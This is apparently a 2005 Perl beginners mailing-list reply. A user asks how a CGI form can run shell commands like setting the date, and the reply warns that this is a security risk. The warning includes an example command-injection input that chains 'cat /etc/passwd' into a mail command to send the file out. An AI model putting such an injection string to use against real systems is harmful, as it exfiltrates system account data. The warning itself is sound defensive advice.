Are you sure you want to do this. The type of page you are developing has been long been a security headache. Imagine the user entering
/bin/date -s 20050427; cat /etc/passwd | mail -s 'there you are' I understand that you are trying to implement remote root tasks through CGI, but you must consider full possibilities of someone sniffing into your tcp packets while a root session is on. Manav |-----Original Message----- |From: [EMAIL PROTECTED] |[mailto:[EMAIL PROTECTED] |Sent: Saturday, January 08, 2005 6:45 PM |To: beginners@perl.org |Subject: Execute commands on the servers through a cgi script | | |Hi guys... |I've being trying to do so... but I just can't get it done... I'm trying |to execute a command through a CGI... For example... the user types in a |textfield: /bin/date -s 20050427, then submmit. This command is sent to |the server, and the date is changed... I can't get it done... any idea? | |Diogo N Oliveira. | | |-- |To unsubscribe, e-mail: [EMAIL PROTECTED] |For additional commands, e-mail: [EMAIL PROTECTED] |<http://learn.perl.org/> <http://learn.perl.org/first-response> | | ********************************************************* Disclaimer: This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] <http://learn.perl.org/> <http://learn.perl.org/first-response>
